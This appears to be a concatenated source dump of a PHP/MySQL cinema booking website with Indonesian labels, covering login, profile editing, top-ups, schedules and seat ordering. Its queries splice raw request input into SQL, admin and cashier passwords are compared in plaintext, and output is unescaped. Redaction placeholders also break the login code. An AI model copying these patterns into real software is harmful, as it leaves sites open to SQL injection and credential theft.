<repo_name>banqkandar/web_bioskop<file_sep>/home/updelfilm.php <div class="modal fade" id="edfilm<?php echo $x['id_film']; ?>" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Edit Film <?php echo $x['judul']; ?></h5> <button class="close" type="button" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"><form method="post" action="filmeditor.php?gud=<?php echo $x['id_film']; ?>"><div class="form-group"> <label for="nama" class="col-sm-12 control-label">Judul Film :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="judul" value="<?php echo $x['judul']; ?>" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Tanggal Rilis :</label> <div class="col-sm-12"> <input class="form-control" type="date" name="rilis" value="<?php echo $x['tgl_rilis']; ?>" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Nama Pemain :</label> <div class="col-sm-12"> <input class="form-control" type="text" name="artis" value="<?php echo $x['artis']; ?>" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Durasi (Menit) :</label> <div class="col-sm-12"> <input type="number" class="form-control" value="<?php echo $x['durasi']; ?>" name="durasi" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Sinopsis :</label> <div class="col-sm-12"> <textarea class="form-control" style="resize:vertical;" name="sinopsis" required><?php echo $x['sinopsis']; ?></textarea> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Link Trailer :</label> <div class="col-sm-12"> <input class="form-control" type="url" name="link" value="<?php echo $x['trailer']; ?>" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Batasan Umur :</label> <div class="col-sm-12"> <select class="form-control" name="batas"> <option value="BO">Bimbingan Orang Tua</option> <option value="R">Remaja</option> <option value="D">Dewasa</option> <option value="SU">Semua Umur</option> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Produksi :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="perusahaan" value="<?php echo $x['produksi']; ?>" required> </div> </div></div> <div class="modal-footer"> <button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-primary">EDIT</button> </div> </form> </div> </div> </div><file_sep>/home/hapusstudio.php <?php // buka koneksi dengan MySQL include("../config.php"); session_start(); if (!isset($_SESSION['kasir'])) { echo ' <script> window.alert("Anda Tidak Berhak Mengakses Halaman Ini Karena Anda Belum Login Sebagai kasir"); window.location = "../login.php"; </script> '; }else{ //mengecek apakah di url ada GET id if (isset($_GET["id"])) { // menyimpan variabel id dari url ke dalam variabel $id $id = $_GET["id"]; //jalankan query DELETE untuk menghapus data $query = "DELETE FROM studio WHERE id='$id' "; $hasil_query = $conn->query($query); $querys = $conn->query("SELECT id_studio from tayang where id_studio='$id'"); //periksa query, apakah ada kesalahan if ($querys->num_rows>0) { echo '<script>window.alert("Gagal.");</script>'; echo '<script>window.alert("Hapus Film dari jadwal tayang yang menggunakan studio ini terlebih dahulu.");</script>'; echo "<script>window.location.href='studio.php';</script>"; }else{ echo '<script>window.alert("Studio Telah di hapus.");</script>'; header("location:studio.php"); } } } ?> <file_sep>/edit.php <?php require_once "config.php"; session_start(); if (!isset($_SESSION['username'])) { header("location:index.php"); }elseif(isset($_SESSION['admin'])){ header("location:home"); }elseif(isset($_SESSION['kasir'])){ header("location:home"); } $username = $_SESSION['username']; $id_konsumen = $_SESSION['id_konsumen']; $qyu = $conn->query("SELECT * FROM konsumen WHERE id_konsumen = '$id_konsumen'"); $cek = $qyu->fetch_assoc(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <!-- Page Heading/Breadcrumbs --> <h1 class="mt-4 mb-3">Edit Profil <small><?=nama;?></small> </h1> <ol class="breadcrumb"> <li class="breadcrumb-item active"> <a href="akunsaya.php">Home</a> </li> <li class="breadcrumb-item"><a href="history.php">History Tiket</a></li> <li class="breadcrumb-item"><a href="topup.php">Top Up Saldo</a></li> <li class="breadcrumb-item"><a href="ubah.php">Ubah Password</a></li> <li class="breadcrumb-item">Edit Profil</li> </ol> <div class="row"> <div class="col-lg-8"> <!-- Example Bar Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> Ubah Password</div> <div class="card-body"> <form action="" method="post"> <?php if($_POST){ $fname = $_POST['fname']; $lname = $_POST['lname']; $email = $_POST['email']; $phone = $_POST['notelp']; $submit = $conn->query("UPDATE konsumen SET fname_konsumen='$fname', lname_konsumen='$lname', email_konsumen='$email', phone_konsumen='$phone' WHERE id_konsumen='$id_konsumen'"); echo '<div class="alert alert-success">Data Berhasil Di Ubah</div>'; } ?> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Nama Depan :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="fname" value="<?php echo $cek['fname_konsumen'];?>" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Nama Belakang :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="lname" value="<?php echo $cek['lname_konsumen'];?>" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Email :</label> <div class="col-sm-12"> <input type="email" class="form-control" name="email" value="<?php echo $cek['email_konsumen'];?>" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Nomer Telepon :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="notelp" value="<?php echo $cek['phone_konsumen'];?>" required=""> </div> </div> <button type="submit" class="btn btn-success col-sm-12">Ubah</button> </form> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> </div> <!-- /.container --> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html> <file_sep>/home/jadwal.php <?php require_once "../config.php"; session_start(); if (isset($_SESSION['username'])) { $username = $_SESSION['username']; $id_kasir = $_SESSION['kasir']; } if (!isset($_SESSION['kasir'])) { echo ' <script> window.alert("Anda Tidak Berhak Mengakses Halaman Ini Karena Anda Belum Login Sebagai Kasir"); window.location = "login.php"; </script> '; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS--> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom fonts for this template--> <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> </head> <body class="fixed-nav sticky-footer bg-dark" id="page-top"> <?php include 'header.phtml'; ?> <style type="text/css"> .dataTables_filter,.dataTables_length { display: none; } </style> <div class="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php"><?=nama;?></a> </li> <li class="breadcrumb-item active">Tambah Jadwal</li> </ol> <!-- Icon Cards--> <div class="row"> <div class="col-lg-8"> <!-- Example Bar Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> Total Film</div> <div class="card-body"> <div class="table-responsive"> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>Judul Film</th> <th>Tanggal Rilis</th> <th>Durasi Film</th> <th>Rating</th> <th>Negara</th> <th>Produksi</th> </tr> </thead> <tfoot> <tr> <th>Judul Film</th> <th>Tanggal Rilis</th> <th>Durasi Film</th> <th>Rating</th> <th>Negara</th> <th>Produksi</th> </tr> </tfoot> <tbody> <?php $qyu = $conn->query("SELECT * FROM tayang INNER JOIN film WHERE CURDATE() BETWEEN tanggal_awal AND tanggal_akhir AND tayang.id_film = film.id_film"); while($datanya = $qyu->fetch_array()){ ?> <tr> <td><?php echo $datanya['judul']; ?></td> <td><?php echo $datanya['tgl_rilis']; ?></td> <td><?php echo $datanya['durasi']." menit"; ?></td> <td><?php echo $datanya['rating']; ?></td> <td><?php echo $datanya['negara']; ?></td> <td><?php echo $datanya['produksi']; ?></td> </tr> <?php } ?> </tbody> </table> </div> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> <div class="col-lg-4"> <!-- Example Pie Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-pie-chart"></i> Tambah Jadwal</div> <div class="card-body"> <form action="" method="post"> <?php if($_POST['film']){ $title = ucfirst($_POST['film']); $date_first = $_POST['awal']; $date_last = $_POST['akhir']; $studio = ucfirst($_POST['studio']); $schedule_1 = $_POST['jam1']; $schedule_2 = $_POST['jam2']; $schedule_3 = $_POST['jam3']; date_default_timezone_set("Asia/Jakarta"); $time = date("d m Y", time()); if ($date_first < $time ) { echo '<div class="alert alert-danger">Tanggal Main Awal Tidak Boleh Kurang Dari Tanggal Sekarang!</div>'; } $daftar = "INSERT INTO tayang (id,tanggal_awal,tanggal_akhir,id_film,id_studio,jam1,jam2,jam3) VALUES (NULL,'$date_first','$date_last',$title,$studio,'$schedule_1','$schedule_2','$schedule_3')"; $submit = $conn->query($daftar); echo '<script>window.alert("Sukses..");window.location = "jadwal.php";</script>'; } $films = $conn->query("SELECT * FROM film WHERE CURDATE() BETWEEN tgl_rilis AND DATE_ADD(tgl_rilis, INTERVAL 7 DAY)"); $studi = $conn->query("SELECT * FROM studio"); if ($films->num_rows < 1) { echo "<h3 style='text-align:center;margin-top:100px;'>Tidak ada film yang dirilis hari ini</h3>"; } else { ?> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Judul Film :</label> <div class="col-sm-12"> <select class="form-control" name="film" required> <?php while($datanyo = $films->fetch_array()){ ?> <option value="<?php echo $datanyo['id_film'];?>"><?php echo $datanyo['judul'];?></option> <?php } ?> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Tanggal Main Awal :</label> <div class="col-sm-12"> <input class="form-control" type="date" name="awal" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Tanggal Main Akhir :</label> <div class="col-sm-12"> <input class="form-control" type="date" name="akhir" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Pilih Studio :</label> <div class="col-sm-12"> <select class="form-control" name="studio" required> <?php while($xz = $studi->fetch_array()){ ?> <option value="<?php echo $xz['id'];?>"><?php echo $xz['nama'];?></option> <?php } ?> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Jam Tayang Pertama :</label> <div class="col-sm-12"> <input type="time" class="form-control" placeholder="Jam Tayang Pertama" name="jam1" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Jam Tayang Kedua :</label> <div class="col-sm-12"> <input type="time" class="form-control" placeholder="Jam Tayang Kedua." name="jam2" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Jam Tayang Ketiga :</label> <div class="col-sm-12"> <input type="time" class="form-control" placeholder="Jam Tayang Ketiga" name="jam3" required> </div> </div> <button type="submit" class="btn btn-success">Submit</button> <?php } ?> </form> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> </div> <!-- /.container-fluid--> <!-- /.content-wrapper--> <footer class="sticky-footer"> <div class="container"> <div class="text-center"> <small>Copyright © <?=nama;?> 2018</small> </div> </div> </footer> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fa fa-angle-up"></i> </a> <!-- Logout Modal--> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Custom scripts for this page--> <script src="js/sb-admin-datatables.min.js"></script> <script src="js/sb-admin-charts.min.js"></script> </div> </body> </html> <file_sep>/login.php <?php require_once "config.php"; session_start(); if (isset($_SESSION['username'])) { header("location:index.php"); } elseif (isset($_SESSION['admin'])) { header("location:home"); } elseif (isset($_SESSION['kasir'])) { header("location:home"); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?= deskripsi; ?>"> <meta name="author" content="<?= admin; ?>"> <title>Masuk</title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <!-- Page Heading/Breadcrumbs --> <h1 class="mt-4 mb-3">Masuk <small><?= nama; ?></small> </h1> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php">Home</a> </li> <li class="breadcrumb-item active">Masuk</li> </ol> <form method="post" action="" class="form-horizontal"> <?php if ($_POST) { $username = $_POST['username']; $userpass = $_POST['<PASSWORD>']; $cek_login = $conn->query("SELECT username_konsumen,email_konsumen,password_konsumen,id_konsumen FROM konsumen WHERE username_konsumen = '$username' OR email_konsumen = '$username'"); $f = $cek_login->fetch_assoc(); $user_password = $f['<PASSWORD>']; if ($cek_login->num_rows == 1) { if (password_verify($userpass, $user_password)) { session_start(); $_SESSION['username'] = $username; $_SESSION['password'] = $<PASSWORD>; $_SESSION['id_konsumen'] = $f['id_konsumen']; $_SESSION['spy'] = "YA"; header("location:index.php"); } else { echo '<div class="alert alert-danger">Username atau Password anda salah!</div>'; } } else { $cek_admin = $conn->query("SELECT email_admin,password_admin,id_admin FROM admin WHERE email_admin = '$username' AND password_admin = '$<PASSWORD>'"); $z = $cek_admin->fetch_assoc(); $password = $z['password_admin']; if ($cek_admin->num_rows == 1) { if ($userpass == $password) { session_start(); $_SESSION['username'] = $username; $_SESSION['password'] = $<PASSWORD>; $_SESSION['admin'] = $z['id_admin']; header("location:home"); } else { echo '<div class="alert alert-danger">Username atau Password anda salah!</div>'; } } else { $cek_kasir = $conn->query("SELECT username_kasir,email_kasir,password_kasir,id_kasir FROM kasir WHERE username_kasir = '$username' AND password_kasir = '$<PASSWORD>'"); $s = $cek_kasir->fetch_assoc(); $pass = $s['password_<PASSWORD>']; if ($cek_kasir->num_rows == 1) { if ($userpass == $pass) { session_start(); $_SESSION['username'] = $username; $_SESSION['password'] = $<PASSWORD>; $_SESSION['kasir'] = $s['id_kasir']; header("location:home"); } else { echo '<div class="alert alert-danger">Username atau Password anda salah!</div>'; } } else { echo '<div class="alert alert-danger">Username atau Password anda salah!</div>'; } } } } ?> <div class="form-group"> <label for="emailAdress" class="col-sm-2 control-label">Email atau Username</label> <div class="col-sm-10"> <input type="text" class="form-control" name="username" placeholder="Email atau Username" required=""> </div> </div> <div class="form-group"> <label for="exampleInputPassword1" class="col-sm-2 control-label">Password</label> <div class="col-sm-10"> <input type="password" class="form-control" name="pswd" placeholder="<PASSWORD>" required=""> </div> </div> <div class="form-group"> <div class="col-sm-offset-2 col-sm-10"> <button type="submit" class="btn btn-primary">Login</button> </div> </div> </form> <p>Belum punya akun ? <a href="daftar.php">klik disini</a> untuk daftar</p> </div> <!-- /.container --> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html><file_sep>/history.php <?php require_once "config.php"; session_start(); if (!isset($_SESSION['username'])) { header("location:index.php"); }elseif(isset($_SESSION['admin'])){ header("location:home"); }elseif(isset($_SESSION['kasir'])){ header("location:home"); } $username = $_SESSION['username']; $id_konsumen = $_SESSION['id_konsumen']; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <!-- Page Heading/Breadcrumbs --> <h1 class="mt-4 mb-3">History Tiket <small><?=nama;?></small> </h1> <ol class="breadcrumb"> <li class="breadcrumb-item active"> <a href="akunsaya.php">Home</a> </li> <li class="breadcrumb-item">History Tiket</li> <li class="breadcrumb-item"><a href="topup.php">Top Up Saldo</a></li> <li class="breadcrumb-item"><a href="ubah.php">Ubah Password</a></li> <li class="breadcrumb-item"><a href="edit.php">Edit Profil</a></li> </ol> <div class="row"> <?php $cektiket = $conn->query("SELECT * FROM tiket WHERE tanggal_tonton < CURDATE() AND id_konsumen = '$id_konsumen'"); if($cektiket->num_rows<1){ echo "Tidak ada Pemesanan Tiket"; }else{ while ($row = $cektiket->fetch_assoc()) { echo ' <div class="col-md-6 col-xs-12 col-sm-12 col-lg-6"> <div class="transaction-content"> <h3>'.$row['judul'].'</h3> <hr> <div class="row info"> <div class="col-md-2 col-xs-6 col-sm-6 col-lg-2"> <p><b>Tanggal</b></p> <p>'.$row['tanggal_tonton'].'</p> </div> <div class="col-md-2 col-xs-6 col-sm-6 col-lg-2"> <p><b>Studio</b></p> <p>'.$row['nama_studio'].'</p> </div> <div class="col-md-2 col-xs-6 col-sm-6 col-lg-2"> <p><b>Kursi</b></p> <p>'.$row['seat'].'</p> </div> <div class="col-md-2 col-xs-6 col-sm-6 col-lg-2"> <p><b>Jam</b></p> <p>'.$row['jam_tonton'].'</p> </div> <div class="col-md-2 col-xs-6 col-sm-6 col-lg-2"> <p><b>Jumlah Orang</b></p> <p>'.$row['jumlah_orang'].'</p> </div> <div class="col-md-2 col-xs-6 col-sm-6 col-lg-2"> <p><b>Harga</b></p> <p>'.$row['total_harga'].'</p> </div> Kode Booking : '.$row['kodebooking'].' </div> </div> <hr> </div>'; } } ?> </div> <!-- /.row --> </div> <!-- /.container --> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html> <file_sep>/config.php <?php error_reporting(0); session_start(); $servertim = 'localhost'; // e.g 'localhost' or '192.168.1.100' $usertim = 'root'; // username database $passtim = ''; // password database $dbtim = 'bioskop'; // nama database $conn = new mysqli($servertim, $usertim, $passtim, $dbtim); if ($conn->connect_error) { trigger_error('Database connection failed: ' . $conn->connect_error, E_USER_ERROR); } // Nama Website define("nama","Bioskop Ceria"); // Deskripsi website (kalo ada) define("deskripsi","Ceria Banget"); // Kata kata di homepage define("headline","Bioskop Ceria Banget"); // Author define("admin","Black"); ?><file_sep>/topup.php <?php require_once "config.php"; session_start(); if (!isset($_SESSION['username'])) { header("location:index.php"); }elseif(isset($_SESSION['admin'])){ header("location:home"); }elseif(isset($_SESSION['kasir'])){ header("location:home"); } $username = $_SESSION['username']; $id_konsumen = $_SESSION['id_konsumen']; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <!-- Page Heading/Breadcrumbs --> <h1 class="mt-4 mb-3">Top Up Saldo <small><?=nama;?></small> </h1> <ol class="breadcrumb"> <li class="breadcrumb-item active"> <a href="akunsaya.php">Home</a> </li> <li class="breadcrumb-item"><a href="history.php">History Tiket</a></li> <li class="breadcrumb-item">Top Up Saldo</li> <li class="breadcrumb-item"><a href="ubah.php">Ubah Password</a></li> <li class="breadcrumb-item"><a href="edit.php">Edit Profil</a></li> </ol> <div class="row"> <div class="col-lg-8"> <!-- Example Bar Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> History Top Up Saldo</div> <div class="card-body"> <div class="table-responsive"> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>Tanggal</th> <th>Nama konsumen</th> <th>Nominal Saldo</th> <th>Kode Top Up</th> <th>Status</th> </tr> </thead> <tfoot> <tr> <th>Tanggal</th> <th>Nama konsumen</th> <th>Nominal Saldo</th> <th>Kode Top Up</th> <th>Status</th> </tr> </tfoot> <tbody> <?php $qyu = $conn->query("SELECT * FROM topup INNER JOIN konsumen ON topup.id_konsumen = konsumen.id_konsumen WHERE topup.id_konsumen = '$id_konsumen'"); while($datanya = $qyu->fetch_array()){ ?> <tr> <td><?php echo $datanya['tanggal']; ?></td> <td><?php echo $datanya['fname_konsumen']." ".$datanya['lname_konsumen']; ?></td> <td><?php echo $datanya['uang']; ?></td> <td><?php echo $datanya['kode_topup']; ?></td> <td><?php echo $datanya['status']; ?></td> </tr> <?php } ?> </tbody> </table> </div> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> <div class="col-lg-4"> <!-- Example Pie Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-pie-chart"></i> Top Up Saldo</div> <div class="card-body"> <form method="post" action="" class="form-horizontal"> <?php if($_POST){ $saldo = $_POST['saldo']; $kodeacak = "VOC".substr(str_shuffle(str_repeat("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", 10)), 0, 10); echo '<div class="alert alert-success">Sukses...Tunggu Persetujuan Admin</div>'; $daftar = "INSERT INTO topup (tanggal,id_konsumen,uang,kode_topup,status) VALUES (CURRENT_TIMESTAMP,'$id_konsumen','$saldo','$kodeacak','Waiting')"; $submit = $conn->query($daftar); } ?> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Jumlah Saldo</label> <div class="col-sm-12"> <input type="text" class="form-control" name="saldo" placeholder="12222"> </div> </div> <center><button type="submit" class="btn btn-success">Submit</button></center> </form> </div> <div class="card-footer small text-muted">Saldo Saya <font color=green><?php echo $saldoo['saldo_konsumen'];?></font></div> </div> </div> </div> <!-- /.container --> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html> <file_sep>/order.php <?php require_once "config.php"; session_start(); if (!isset($_SESSION['username'])) { echo ' <script> window.alert("Anda Harus Login Dahulu"); window.location = "login.php"; </script> '; } if (!isset($_GET['id'])) { echo ' <script> window.alert("Anda Harus Memilih Film Dahulu"); window.location = "index.php"; </script> '; } if(isset($_SESSION['admin'])){ header("location:home"); }elseif(isset($_SESSION['kasir'])){ header("location:home"); } $id = $_GET['id']; $username = $_SESSION['username']; $id_konsumen = $_SESSION['id_konsumen']; $judul = $conn->query("SELECT judul FROM tayang JOIN film WHERE CURDATE() BETWEEN tanggal_awal AND tanggal_akhir AND film.id_film = '$id'"); $judul = $judul->fetch_assoc(); $studio = $conn->query("SELECT studio.id as studio_id,nama, harga FROM tayang JOIN film JOIN studio WHERE CURDATE() BETWEEN tanggal_awal AND tanggal_akhir AND film.id_film = '$id' AND tayang.id_studio = studio.id "); $studio = $studio->fetch_assoc(); $jam = $conn->query("SELECT jam1,jam2,jam3 FROM tayang JOIN film WHERE tayang.id_film = film.id_film"); $jam = $jam->fetch_assoc(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title> <?php $q = $conn->query("SELECT judul, YEAR(tgl_rilis) AS tahun FROM film WHERE id_film='$id'"); $f = $q->fetch_assoc(); echo $f['judul'],'&nbsp;','('.$f['tahun'].')'; ?> </title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <style type="text/css"> .evenRow{ background-color: red; } .cuanki{ background-color: green; } </style> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <!-- Page Heading/Breadcrumbs --> <h1 class="mt-4 mb-3"><?php echo $f['judul'].' ('.$f['tahun'].')';?> <small>Sinopsis</small> </h1> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php">Home</a> </li> <li class="breadcrumb-item active"><?php echo $f['judul'].' ('.$f['tahun'].')';?></li> </ol> <?php $a = $conn->query("SELECT * FROM film WHERE id_film = '$id'"); $x = $a->fetch_assoc(); ?> <!-- Project One --> <div class="row"> <div class="col-md-7"> <img class="img-fluid rounded mb-3 mb-md-0" src="<?php echo "asset/".$x['image'].""; ?>" alt=""> </div> <form method="post" action=""> <?php if($_POST){ $saldo = $conn->query("SELECT saldo_konsumen FROM konsumen WHERE username_konsumen = '$username' OR email_konsumen = '$username'"); while($saldox = $saldo->fetch_assoc()) { $saldosaya = $saldox['saldo_konsumen']; } $chk = ""; $select= $_POST['seat']; $hitung = count($select); $total_harga = $hitung * $studio['harga']; foreach($select as $chk1) { $chk.=$chk1." "; } if ($saldosaya < $total_harga) { echo '<div class="alert alert-danger">Maaf Saldo Anda Kurang!<p>Saldo anda : '.$saldoo['saldo_konsumen'].'</div>'; }elseif(!$select){ echo '<div class="alert alert-danger">Kursi Belum di isi!</div>'; }else{ $inifilm = $judul['judul']; $idstudio = $studio['studio_id']; $namastudio = $studio['nama']; $jamsaya = $_POST['jam']; $hargastudio = $studio['harga']; $kodebooking = "BCERIA".substr(str_shuffle(str_repeat("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", 5)), 0, 5); $a = $conn->query("INSERT INTO tiket (id,tanggal,tanggal_tonton,id_konsumen,film_id,judul,id_studio,nama_studio,seat,jam_tonton,jumlah_orang,harga,total_harga,kodebooking,status) VALUES (NULL,CURRENT_TIMESTAMP,CURRENT_TIMESTAMP,'$id_konsumen','$id','$inifilm','$idstudio','$namastudio','$chk','$jamsaya','$hitung','$hargastudio','$total_harga','$kodebooking','Ready To Watch')"); if ($a) { $update = $conn->query("UPDATE konsumen SET saldo_konsumen = saldo_konsumen - $total_harga WHERE username_konsumen = '$username' OR email_konsumen = '$username'"); if ($update) { echo '<div class="alert alert-success">Pemesanan Tiket Sukses!</div>'; echo '<script> window.location = "akunsaya.php";</script>'; }else{ echo '<div class="alert alert-danger">Pengurangan Saldo Gagal. Silahkan Lakukan Pemesanan Ulang!</div>'; echo '<script> window.location = "order.php?id='.$id.'";</script>'; } }else{ echo '<div class="alert alert-danger">Pemesanan Tiket Gagal!</div>'; } } } ?> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Judul Film :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="film" readonly value="<?php echo $judul['judul'];?>"> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Studio :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="studio" readonly value="<?php echo $studio['nama'];?>"> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Harga/Tiket :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="harga" readonly value="<?php echo $studio['harga'];?>"> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Kursi Terisi :</label> <div class="col-sm-12"> <label for="nama" class="col-sm-12 control-label"> <?php $seat = $conn->query("SELECT * FROM tiket where film_id='$id'"); $kursi = $seat->fetch_assoc(); if($seat->num_rows<1){ echo "Kursi Masih Kosong"; }else{ $sass = $conn->query("SELECT * FROM tiket where film_id='$id' AND status='Ready To Watch'"); while($data = $sass->fetch_array()){ echo $data['seat']; $arr2 = str_split($data['seat'], 3); foreach($arr2 as $arr1){ $myArray[$arr1] = $arr1; } } } ?> </label> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Harga/Tiket :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="harga" readonly value="<?php echo $studio['harga'];?>"> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Jam Tayang :</label> <div class="col-sm-12"> <select name="jam" class="form-control" required> <option value="<?php echo $jam['jam1'];?>"><?php echo $jam['jam1'];?></option> <option value="<?php echo $jam['jam2'];?>"><?php echo $jam['jam2'];?></option> <option value="<?php echo $jam['jam3'];?>"><?php echo $jam['jam3'];?></option> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Pilih Kursi :</label> <div class="col-sm-12"> <label><?php if($myArray['A1 ']){?><div class="evenRow"><input type="checkbox" name="seat[]" value="A1" disabled="">A1</div><?php }else{?><div class="cuanki"><input type="checkbox" name="seat[]" value="A1">A1</div><?php } ?></label> <label><?php if($myArray['B1 ']){?><div 